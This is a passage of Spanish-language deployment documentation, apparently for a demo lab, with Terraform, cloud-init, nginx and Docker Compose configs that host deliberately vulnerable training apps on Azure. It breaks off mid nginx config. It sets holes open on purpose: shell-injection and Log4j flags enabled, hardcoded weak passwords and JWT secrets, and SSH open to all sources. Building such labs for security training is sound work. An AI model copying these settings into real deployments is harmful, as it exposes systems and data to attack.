Ir al contenido

Despliegue

Todos los archivos de Terraform se encuentran en el directorio terraform/. Clone el repositorio y despliegue directamente:

Ventana de terminal
git clone https://github.com/f5-sales-demo/origin-server.git
cd origin-server/terraform
cp terraform.tfvars.example terraform.tfvars
# Edit terraform.tfvars with your Azure subscription ID and SSH key path

El directorio de Terraform contiene 9 archivos siguiendo el Estándar de Recursos de demostración:

  • versions.tf — Restricciones de versión de Terraform y proveedores (azurerm ~> 4.0, azuread ~> 3.0)
  • providers.tf — Configuración de proveedores Azure RM y Azure AD
  • data.tf — Fuentes de datos de Azure AD para la resolución automática del implementador
  • locals.tf — Resolución del implementador, nomenclatura de recursos según el Azure Cloud Adoption Framework, etiquetas estándar
  • main.tf — Grupo de recursos (denominado rg-origin-server-{environment}-{deployer})
  • variables.tf — Todas las variables de entrada (1 obligatoria, 8 opcionales)
  • network.tf — VNet (10.200.0.0/16), subred, IP pública, NSG (puertos 22/80/443/8888), NIC
  • vm.tf — VM Ubuntu 24.04 con cloud-init mediante templatefile()
  • outputs.tf — 25 salidas (15 estándar + 10 URLs de aplicaciones específicas de componentes)

main.tf contiene únicamente el grupo de recursos:

resource "azurerm_resource_group" "main" {
name = local.name.resource_group
location = var.location
tags = local.tags
}

variables.tf define todos los parámetros configurables. El identificador deployer se resuelve automáticamente desde su cuenta de Azure AD — solo necesita establecer subscription_id. El valor predeterminado de vm_size es Standard_D16s_v3 (16 vCPU, 64 GiB RAM), dimensionado para 41 contenedores Docker:

# ---------------------------------------------------------
# General
# ---------------------------------------------------------
variable "subscription_id" {
description = "Azure subscription ID"
type = string
}
variable "deployer" {
description = "Override for deployer identifier (auto-resolved from Azure AD if empty). Required for service principal or managed identity authentication."
type = string
default = ""
}
variable "location" {
description = "Azure region for all resources"
type = string
default = "eastus2"
}
variable "environment" {
description = "Environment label used in resource group naming and tags"
type = string
default = "lab"
}
variable "tags" {
description = "Additional tags merged with standard tags (component, environment, deployer, managed_by)"
type = map(string)
default = {}
}
# ---------------------------------------------------------
# Compute
# ---------------------------------------------------------
variable "vm_size" {
description = "Azure VM size (Standard_D16s_v3: 16 vCPU, 64 GiB RAM for Docker workloads)"
type = string
default = "Standard_D16s_v3"
}
variable "admin_username" {
description = "SSH admin username for the VM"
type = string
default = "azureuser"
}
variable "ssh_public_key_path" {
description = "Path to the SSH public key file"
type = string
default = "~/.ssh/id_ed25519.pub"
}
variable "disk_size_gb" {
description = "OS disk size in GB"
type = number
default = 60
}

network.tf crea la VNet, subred, IP pública, NSG (puertos 22/80/443/8888) y NIC. El puerto 8888 es necesario para crAPI, que se ejecuta en un puerto dedicado:

resource "azurerm_virtual_network" "main" {
name = local.name.virtual_network
address_space = ["10.200.0.0/16"]
location = azurerm_resource_group.main.location
resource_group_name = azurerm_resource_group.main.name
tags = azurerm_resource_group.main.tags
}
resource "azurerm_subnet" "main" {
#checkov:skip=CKV2_AZURE_31:Lab subnet - NSG associated at NIC level
name = local.name.subnet
resource_group_name = azurerm_resource_group.main.name
virtual_network_name = azurerm_virtual_network.main.name
address_prefixes = ["10.200.1.0/24"]
}
resource "azurerm_public_ip" "main" {
name = local.name.public_ip
location = azurerm_resource_group.main.location
resource_group_name = azurerm_resource_group.main.name
allocation_method = "Static"
sku = "Standard"
tags = azurerm_resource_group.main.tags
}
resource "azurerm_network_security_group" "main" {
#checkov:skip=CKV_AZURE_10:Lab NSG - SSH open for demo access
#checkov:skip=CKV_AZURE_160:Lab NSG - HTTP port 80 required for traffic
#checkov:skip=CKV_AZURE_220:Lab NSG - SSH open for demo access
name = local.name.nsg
location = azurerm_resource_group.main.location
resource_group_name = azurerm_resource_group.main.name
security_rule {
name = "AllowHTTP"
priority = 100
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "80"
source_address_prefix = "*"
destination_address_prefix = "*"
}
security_rule {
name = "AllowHTTPS"
priority = 110
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "443"
source_address_prefix = "*"
destination_address_prefix = "*"
}
security_rule {
name = "AllowSSH"
priority = 120
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "22"
source_address_prefix = "*"
destination_address_prefix = "*"
}
security_rule {
name = "AllowCrAPI"
priority = 130
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "8888"
source_address_prefix = "*"
destination_address_prefix = "*"
}
tags = azurerm_resource_group.main.tags
}
resource "azurerm_network_interface" "main" {
#checkov:skip=CKV_AZURE_119:Lab NIC - public IP required for demo access
name = local.name.network_interface
location = azurerm_resource_group.main.location
resource_group_name = azurerm_resource_group.main.name
ip_configuration {
name = "internal"
subnet_id = azurerm_subnet.main.id
private_ip_address_allocation = "Dynamic"
public_ip_address_id = azurerm_public_ip.main.id
}
tags = azurerm_resource_group.main.tags
}
resource "azurerm_network_interface_security_group_association" "main" {
network_interface_id = azurerm_network_interface.main.id
network_security_group_id = azurerm_network_security_group.main.id
}

vm.tf crea la VM Ubuntu 24.04 y pasa el script de aprovisionamiento cloud-init. El SSD Premium de 60 GiB proporciona espacio suficiente para imágenes Docker y volúmenes de contenedores:

resource "azurerm_linux_virtual_machine" "main" {
#checkov:skip=CKV_AZURE_50:Lab VM - no extensions required
#checkov:skip=CKV_AZURE_93:Lab VM - platform-managed encryption sufficient
name = local.name.virtual_machine
resource_group_name = azurerm_resource_group.main.name
location = azurerm_resource_group.main.location
size = var.vm_size
admin_username = var.admin_username
disable_password_authentication = true
admin_ssh_key {
username = var.admin_username
public_key = file(pathexpand(var.ssh_public_key_path))
}
network_interface_ids = [azurerm_network_interface.main.id]
os_disk {
caching = "ReadWrite"
storage_account_type = "Premium_LRS"
disk_size_gb = var.disk_size_gb
}
source_image_reference {
publisher = "Canonical"
offer = "ubuntu-24_04-lts"
sku = "server"
version = "latest"
}
custom_data = base64encode(templatefile("${path.module}/cloud-init.yaml", {}))
tags = azurerm_resource_group.main.tags
}

cloud-init.yaml aprovisiona la VM con una configuración endurecida. Una biblioteca de ayuda compartida (/usr/local/lib/cloud-init-helpers.sh) proporciona lógica de reintento en todas las operaciones de red y registro de progreso en /var/log/cloud-init-progress.log. El sondeo activo de comprobaciones de estado reemplaza las esperas de duración fija para la disponibilidad de los contenedores. Aprovisiona:

  • Ajuste del kernel: TCP keepalive, reutilización de TIME_WAIT, 2M tw_buckets, 64K somaxconn
  • nginx: 8 bloques upstream con sesiones persistentes (ip_hash, cookie hash), grupos keepalive (64—128), caché proxy para Juice Shop, nivel de error_log crit
  • Docker Compose: 41 contenedores en 9 aplicaciones con límites de CPU/memoria por contenedor
  • Compilaciones personalizadas: DVWA-FPM (php-fpm con pm.max_requests=200), CSD Demo (Flask + gunicorn), RESTaurant (clonado desde GitHub)
  • Reciclaje de workers: uvicorn —limit-max-requests 200 (RESTaurant), pm.max_requests 200 (DVWA-FPM) para evitar fugas de memoria bajo carga sostenida
#cloud-config
package_update: true
package_upgrade: true
bootcmd:
- mkdir -p /var/cache/nginx/juice_shop
- chown www-data:www-data /var/cache/nginx/juice_shop 2>/dev/null || true
packages:
- ca-certificates
- curl
- gnupg
- nginx
- sysstat
- htop
- iotop
- dool
- iftop
write_files:
- path: /etc/sysctl.d/99-origin-server.conf
content: |
# Origin server performance tuning for concurrent web traffic
net.core.somaxconn = 65535
net.ipv4.tcp_max_syn_backlog = 65535
net.core.netdev_max_backlog = 65535
net.ipv4.ip_local_port_range = 1024 65535
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_fin_timeout = 10
net.ipv4.tcp_keepalive_time = 60
net.ipv4.tcp_keepalive_intvl = 10
net.ipv4.tcp_keepalive_probes = 6
net.ipv4.tcp_max_tw_buckets = 2000000
net.ipv4.tcp_syncookies = 1
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
net.ipv4.tcp_rmem = 4096 87380 16777216
net.ipv4.tcp_wmem = 4096 65536 16777216
- path: /etc/nginx/nginx.conf
content: |
user www-data;
worker_processes auto;
worker_rlimit_nofile 65535;
pid /run/nginx.pid;
error_log /var/log/nginx/error.log crit;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 16384;
multi_accept on;
use epoll;
}
http {
sendfile on;
tcp_nopush on;
tcp_nodelay on;
types_hash_max_size 2048;
server_tokens off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
keepalive_timeout 65;
keepalive_requests 1000;
client_body_timeout 10;
client_header_timeout 10;
send_timeout 10;
reset_timedout_connection on;
proxy_buffer_size 32k;
proxy_buffers 16 32k;
proxy_busy_buffers_size 64k;
proxy_connect_timeout 5;
proxy_read_timeout 30;
proxy_send_timeout 10;
access_log off;
gzip on;
gzip_vary on;
gzip_proxied any;
gzip_comp_level 4;
gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
proxy_cache_path /var/cache/nginx/juice_shop levels=1:2 keys_zone=juice_cache:10m max_size=100m inactive=5m use_temp_path=off;
upstream juice_shop {
server 127.0.0.1:3001 max_fails=3 fail_timeout=10s;
server 127.0.0.1:3002 max_fails=3 fail_timeout=10s;
server 127.0.0.1:3003 max_fails=3 fail_timeout=10s;
server 127.0.0.1:3004 max_fails=3 fail_timeout=10s;
hash $cookie_token consistent;
keepalive 64;
}
upstream dvwa {
server 127.0.0.1:8101 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8102 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8103 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8104 max_fails=3 fail_timeout=10s;
hash $cookie_PHPSESSID consistent;
keepalive 128;
}
upstream vampi {
server 127.0.0.1:5101 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5102 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5103 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5104 max_fails=3 fail_timeout=10s;
ip_hash;
keepalive 128;
}
upstream httpbin_up {
server 127.0.0.1:8201 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8202 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8203 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8204 max_fails=3 fail_timeout=10s;
keepalive 128;
}
upstream whoami_up {
server 127.0.0.1:8082 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8083 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8084 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8085 max_fails=3 fail_timeout=10s;
keepalive 128;
}
upstream csd_demo {
server 127.0.0.1:5001 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5002 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5003 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5004 max_fails=3 fail_timeout=10s;
ip_hash;
keepalive 128;
}
upstream dvga_graphql {
server 127.0.0.1:5201 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5202 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5203 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5204 max_fails=3 fail_timeout=10s;
ip_hash;
keepalive 128;
}
upstream restaurant {
server 127.0.0.1:8301 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8302 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8303 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8304 max_fails=3 fail_timeout=10s;
keepalive 128;
}
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
- path: /etc/systemd/system/nginx.service.d/limits.conf
content: |
[Service]
LimitNOFILE=65535
LimitNOFILESoft=65535
- path: /etc/logrotate.d/nginx-origin
content: |
/var/log/nginx/*.log {
daily
rotate 7
size 500M
compress
delaycompress
missingok
notifempty
sharedscripts
postrotate
nginx -s reopen
endscript
}
- path: /etc/systemd/journald.conf.d/origin-server.conf
content: |
[Journal]
SystemMaxUse=200M
RuntimeMaxUse=50M
- path: /opt/origin-server/docker-compose.yml
content: |
services:
juice-shop-1:
image: bkimminich/juice-shop:latest
container_name: juice-shop-1
restart: unless-stopped
ports:
- "127.0.0.1:3001:3000"
environment:
- NODE_ENV=ctf
deploy:
resources:
limits:
cpus: "1.0"
memory: 1024M
juice-shop-2:
image: bkimminich/juice-shop:latest
container_name: juice-shop-2
restart: unless-stopped
ports:
- "127.0.0.1:3002:3000"
environment:
- NODE_ENV=ctf
deploy:
resources:
limits:
cpus: "1.0"
memory: 1024M
juice-shop-3:
image: bkimminich/juice-shop:latest
container_name: juice-shop-3
restart: unless-stopped
ports:
- "127.0.0.1:3003:3000"
environment:
- NODE_ENV=ctf
deploy:
resources:
limits:
cpus: "1.0"
memory: 1024M
juice-shop-4:
image: bkimminich/juice-shop:latest
container_name: juice-shop-4
restart: unless-stopped
ports:
- "127.0.0.1:3004:3000"
environment:
- NODE_ENV=ctf
deploy:
resources:
limits:
cpus: "1.0"
memory: 1024M
dvwa-1:
build: ./dvwa-fpm/
container_name: dvwa-1
restart: unless-stopped
depends_on:
- dvwa-db
ports:
- "127.0.0.1:8101:80"
environment:
- DB_SERVER=dvwa-db
- DB_DATABASE=dvwa
- DB_USER=dvwa
- DB_PASSWORD=p@ssw0rd
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
dvwa-2:
build: ./dvwa-fpm/
container_name: dvwa-2
restart: unless-stopped
depends_on:
- dvwa-db
ports:
- "127.0.0.1:8102:80"
environment:
- DB_SERVER=dvwa-db
- DB_DATABASE=dvwa
- DB_USER=dvwa
- DB_PASSWORD=p@ssw0rd
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
dvwa-3:
build: ./dvwa-fpm/
container_name: dvwa-3
restart: unless-stopped
depends_on:
- dvwa-db
ports:
- "127.0.0.1:8103:80"
environment:
- DB_SERVER=dvwa-db
- DB_DATABASE=dvwa
- DB_USER=dvwa
- DB_PASSWORD=p@ssw0rd
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
dvwa-4:
build: ./dvwa-fpm/
container_name: dvwa-4
restart: unless-stopped
depends_on:
- dvwa-db
ports:
- "127.0.0.1:8104:80"
environment:
- DB_SERVER=dvwa-db
- DB_DATABASE=dvwa
- DB_USER=dvwa
- DB_PASSWORD=p@ssw0rd
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
dvwa-db:
image: mariadb:10.11
container_name: dvwa-db
restart: unless-stopped
environment:
- MYSQL_ROOT_PASSWORD=root_password
- MYSQL_DATABASE=dvwa
- MYSQL_USER=dvwa
- MYSQL_PASSWORD=p@ssw0rd
- MARIADB_INNODB_BUFFER_POOL_SIZE=256M
- MARIADB_MAX_CONNECTIONS=400
- MARIADB_INNODB_LOG_FILE_SIZE=100M
volumes:
- dvwa-db-data:/var/lib/mysql
deploy:
resources:
limits:
cpus: "1.0"
memory: 768M
vampi-1:
image: erev0s/vampi:latest
container_name: vampi-1
restart: unless-stopped
ports:
- "127.0.0.1:5101:5000"
entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"]
volumes:
- ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
vampi-2:
image: erev0s/vampi:latest
container_name: vampi-2
restart: unless-stopped
ports:
- "127.0.0.1:5102:5000"
entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"]
volumes:
- ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
vampi-3:
image: erev0s/vampi:latest
container_name: vampi-3
restart: unless-stopped
ports:
- "127.0.0.1:5103:5000"
entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"]
volumes:
- ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
vampi-4:
image: erev0s/vampi:latest
container_name: vampi-4
restart: unless-stopped
ports:
- "127.0.0.1:5104:5000"
entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"]
volumes:
- ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
httpbin-1:
image: kennethreitz/httpbin:latest
container_name: httpbin-1
restart: unless-stopped
ports:
- "127.0.0.1:8201:80"
command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"]
deploy:
resources:
limits:
cpus: "1.0"
memory: 256M
httpbin-2:
image: kennethreitz/httpbin:latest
container_name: httpbin-2
restart: unless-stopped
ports:
- "127.0.0.1:8202:80"
command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"]
deploy:
resources:
limits:
cpus: "1.0"
memory: 256M
httpbin-3:
image: kennethreitz/httpbin:latest
container_name: httpbin-3
restart: unless-stopped
ports:
- "127.0.0.1:8203:80"
command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"]
deploy:
resources:
limits:
cpus: "1.0"
memory: 256M
httpbin-4:
image: kennethreitz/httpbin:latest
container_name: httpbin-4
restart: unless-stopped
ports:
- "127.0.0.1:8204:80"
command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"]
deploy:
resources:
limits:
cpus: "1.0"
memory: 256M
whoami-1:
image: traefik/whoami:latest
container_name: whoami-1
restart: unless-stopped
ports:
- "127.0.0.1:8082:80"
deploy:
resources:
limits:
cpus: "0.25"
memory: 64M
whoami-2:
image: traefik/whoami:latest
container_name: whoami-2
restart: unless-stopped
ports:
- "127.0.0.1:8083:80"
deploy:
resources:
limits:
cpus: "0.25"
memory: 64M
whoami-3:
image: traefik/whoami:latest
container_name: whoami-3
restart: unless-stopped
ports:
- "127.0.0.1:8084:80"
deploy:
resources:
limits:
cpus: "0.25"
memory: 64M
whoami-4:
image: traefik/whoami:latest
container_name: whoami-4
restart: unless-stopped
ports:
- "127.0.0.1:8085:80"
deploy:
resources:
limits:
cpus: "0.25"
memory: 64M
csd-demo-1:
build: ./csd-demo/
container_name: csd-demo-1
restart: unless-stopped
ports:
- "127.0.0.1:5001:5001"
deploy:
resources:
limits:
cpus: "0.5"
memory: 256M
csd-demo-2:
build: ./csd-demo/
container_name: csd-demo-2
restart: unless-stopped
ports:
- "127.0.0.1:5002:5001"
deploy:
resources:
limits:
cpus: "0.5"
memory: 256M
csd-demo-3:
build: ./csd-demo/
container_name: csd-demo-3
restart: unless-stopped
ports:
- "127.0.0.1:5003:5001"
deploy:
resources:
limits:
cpus: "0.5"
memory: 256M
csd-demo-4:
build: ./csd-demo/
container_name: csd-demo-4
restart: unless-stopped
ports:
- "127.0.0.1:5004:5001"
deploy:
resources:
limits:
cpus: "0.5"
memory: 256M
dvga-1:
image: dolevf/dvga:latest
container_name: dvga-1
restart: unless-stopped
ports:
- "127.0.0.1:5201:5013"
environment:
- WEB_HOST=0.0.0.0
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
dvga-2:
image: dolevf/dvga:latest
container_name: dvga-2
restart: unless-stopped
ports:
- "127.0.0.1:5202:5013"
environment:
- WEB_HOST=0.0.0.0
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
dvga-3:
image: dolevf/dvga:latest
container_name: dvga-3
restart: unless-stopped
ports:
- "127.0.0.1:5203:5013"
environment:
- WEB_HOST=0.0.0.0
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
dvga-4:
image: dolevf/dvga:latest
container_name: dvga-4
restart: unless-stopped
ports:
- "127.0.0.1:5204:5013"
environment:
- WEB_HOST=0.0.0.0
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
restaurant-db:
image: postgres:15.4-alpine
container_name: restaurant-db
restart: unless-stopped
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=password
- POSTGRES_DB=restaurant
- PGDATA=/var/lib/postgresql/data/pgdata
volumes:
- restaurant-db-data:/var/lib/postgresql/data
healthcheck:
test: ["CMD-SHELL", "pg_isready -U admin -d restaurant"]
interval: 5s
timeout: 5s
retries: 10
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
restaurant-1:
build: ./restaurant/
container_name: restaurant-1
restart: unless-stopped
ports:
- "127.0.0.1:8301:8091"
command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"]
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=password
- POSTGRES_SERVER=restaurant-db
- POSTGRES_PORT=5432
- POSTGRES_DB=restaurant
depends_on:
restaurant-db:
condition: service_healthy
cap_add:
- SYS_ADMIN
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
restaurant-2:
build: ./restaurant/
container_name: restaurant-2
restart: unless-stopped
ports:
- "127.0.0.1:8302:8091"
command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"]
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=password
- POSTGRES_SERVER=restaurant-db
- POSTGRES_PORT=5432
- POSTGRES_DB=restaurant
depends_on:
restaurant-db:
condition: service_healthy
cap_add:
- SYS_ADMIN
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
restaurant-3:
build: ./restaurant/
container_name: restaurant-3
restart: unless-stopped
ports:
- "127.0.0.1:8303:8091"
command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"]
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=password
- POSTGRES_SERVER=restaurant-db
- POSTGRES_PORT=5432
- POSTGRES_DB=restaurant
depends_on:
restaurant-db:
condition: service_healthy
cap_add:
- SYS_ADMIN
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
restaurant-4:
build: ./restaurant/
container_name: restaurant-4
restart: unless-stopped
ports:
- "127.0.0.1:8304:8091"
command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"]
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=password
- POSTGRES_SERVER=restaurant-db
- POSTGRES_PORT=5432
- POSTGRES_DB=restaurant
depends_on:
restaurant-db:
condition: service_healthy
cap_add:
- SYS_ADMIN
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
crapi-web:
image: crapi/crapi-web:latest
container_name: crapi-web
restart: unless-stopped
ports:
- "127.0.0.1:18888:80"
environment:
- COMMUNITY_SERVICE=crapi-community:8087
- IDENTITY_SERVICE=crapi-identity:8080
- WORKSHOP_SERVICE=crapi-workshop:8000
- CHATBOT_SERVICE=crapi-identity:8080
- MAILHOG_WEB_SERVICE=crapi-mailhog:8025
- TLS_ENABLED=false
depends_on:
crapi-identity:
condition: service_healthy
crapi-community:
condition: service_healthy
crapi-workshop:
condition: service_healthy
healthcheck:
test: ["CMD", "curl", "-f", "http://0.0.0.0:80/health"]
interval: 15s
timeout: 15s
retries: 15
deploy:
resources:
limits:
cpus: "0.3"
memory: 128M
crapi-identity:
image: crapi/crapi-identity:latest
container_name: crapi-identity
restart: unless-stopped
environment:
- LOG_LEVEL=INFO
- DB_NAME=crapi
- DB_USER=admin
- DB_PASSWORD=crapisecretpassword
- DB_HOST=crapi-postgres
- DB_PORT=5432
- SERVER_PORT=8080
- ENABLE_SHELL_INJECTION=true
- JWT_SECRET=crapi
- JWT_EXPIRATION=604800000
- MAILHOG_HOST=crapi-mailhog
- MAILHOG_PORT=1025
- MAILHOG_DOMAIN=example.com
- SMTP_HOST=crapi-mailhog
- SMTP_PORT=1025
- SMTP_EMAIL=user@example.com
- SMTP_PASS=xxxxxxxxxxxxxx
- SMTP_FROM=no-reply@example.com
- SMTP_AUTH=false
- SMTP_STARTTLS=false
- ENABLE_LOG4J=true
- API_GATEWAY_URL=https://api.mypremiumdealership.com
- MONGO_DB_HOST=crapi-mongo
- MONGO_DB_PORT=27017
- MONGO_DB_USER=admin
- MONGO_DB_PASSWORD=crapisecretpassword
- MONGO_DB_NAME=crapi
- TLS_ENABLED=false
depends_on:
crapi-postgres:
condition: service_healthy
crapi-mongo:
condition: service_healthy
crapi-mailhog:
condition: service_healthy
healthcheck:
test: ["CMD", "/app/health.sh"]
interval: 15s
timeout: 15s
retries: 15
deploy:
resources:
limits:
cpus: "0.8"
memory: 1024M
crapi-community:
image: crapi/crapi-community:latest
container_name: crapi-community
restart: unless-stopped
environment:
- LOG_LEVEL=INFO
- IDENTITY_SERVICE=crapi-identity:8080
- DB_NAME=crapi
- DB_USER=admin
- DB_PASSWORD=crapisecretpassword
- DB_HOST=crapi-postgres
- DB_PORT=5432
- SERVER_PORT=8087
- MONGO_DB_HOST=crapi-mongo
- MONGO_DB_PORT=27017
- MONGO_DB_USER=admin
- MONGO_DB_PASSWORD=crapisecretpassword
- MONGO_DB_NAME=crapi
- TLS_ENABLED=false
depends_on:
crapi-mongo:
condition: service_healthy
crapi-identity:
condition: service_healthy
healthcheck:
test: ["CMD", "/app/health.sh"]
interval: 15s
timeout: 15s
retries: 15
deploy:
resources:
limits:
cpus: "0.3"
memory: 192M
crapi-workshop:
image: crapi/crapi-workshop:latest
container_name: crapi-workshop
restart: unless-stopped
environment:
- LOG_LEVEL=INFO
- IDENTITY_SERVICE=crapi-identity:8080
- DB_NAME=crapi
- DB_USER=admin
- DB_PASSWORD=crapisecretpassword
- DB_HOST=crapi-postgres
- DB_PORT=5432
- SERVER_PORT=8000
- MONGO_DB_HOST=crapi-mongo
- MONGO_DB_PORT=27017
- MONGO_DB_USER=admin
- MONGO_DB_PASSWORD=crapisecretpassword
- MONGO_DB_NAME=crapi
- SECRET_KEY=crapi
- API_GATEWAY_URL=https://api.mypremiumdealership.com
- TLS_ENABLED=false
- FILES_LIMIT=1000
- GUNICORN_WORKERS=4
depends_on:
crapi-postgres:
condition: service_healthy
crapi-mongo:
condition: service_healthy
crapi-identity:
condition: service_healthy
crapi-community:
condition: service_healthy
healthcheck:
test: ["CMD", "/app/health.sh"]
interval: 15s
timeout: 15s
retries: 15
deploy:
resources:
limits:
cpus: "1.0"
memory: 512M
crapi-postgres:
image: postgres:14
container_name: crapi-postgres
restart: unless-stopped
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=crapisecretpassword
- POSTGRES_DB=crapi
volumes:
- crapi-postgres-data:/var/lib/postgresql/data
healthcheck:
test: ["CMD-SHELL", "pg_isready"]
interval: 15s
timeout: 15s
retries: 10
deploy:
resources:
limits:
cpus: "0.5"
memory: 256M
crapi-mongo:
image: mongo:4.4
container_name: crapi-mongo
restart: unless-stopped
environment:
- MONGO_INITDB_ROOT_USERNAME=admin
- MONGO_INITDB_ROOT_PASSWORD=crapisecretpassword
volumes:
- crapi-mongo-data:/data/db
healthcheck:
test: ["CMD", "mongo", "--eval", "db.runCommand(\"ping\").ok", "--quiet"]
interval: 15s
timeout: 15s
retries: 10
start_period: 20s
deploy:
resources:
limits:
cpus: "0.3"
memory: 256M
crapi-mailhog:
image: crapi/mailhog:latest
container_name: crapi-mailhog
restart: unless-stopped
ports:
- "127.0.0.1:18025:8025"
environment:
- MH_MONGO_URI=admin:crapisecretpassword@crapi-mongo:27017
- MH_STORAGE=mongodb
depends_on:
crapi-mongo:
condition: service_healthy
healthcheck:
test: ["CMD", "nc", "-z", "localhost", "8025"]
interval: 15s
timeout: 15s
retries: 10
deploy:
resources:
limits:
cpus: "0.3"
memory: 128M
volumes:
dvwa-db-data:
restaurant-db-data:
crapi-postgres-data:
crapi-mongo-data:
- path: /etc/nginx/sites-available/origin-server
content: |
server {
listen 80 reuseport backlog=4096;
server_name _;
location /health {
access_log off;
return 200 '{ "status":"healthy","component":"origin-server","applications":["juice-shop","dvwa","vampi","httpbin","whoami","csd-demo","dvga","restaurant","crapi"] }' ;
add_header Content-Type application/json;
}
location / {
root /var/www/html;
index index.html;
}
location /juice-shop/ {
proxy_pass http://juice_shop/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-Prefix /juice-shop;
proxy_cache juice_cache;
proxy_cache_valid 200 60s;
proxy_cache_key "$request_uri";
add_header X-Cache-Status $upstream_cache_status;
}
location /dvwa/ {
proxy_pass http://dvwa/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /vampi/ {
proxy_pass http://vampi/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /httpbin/ {
proxy_pass http://httpbin_up/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /whoami/ {
proxy_pass http://whoami_up/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /csd-demo/ {
proxy_pass http://csd_demo/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
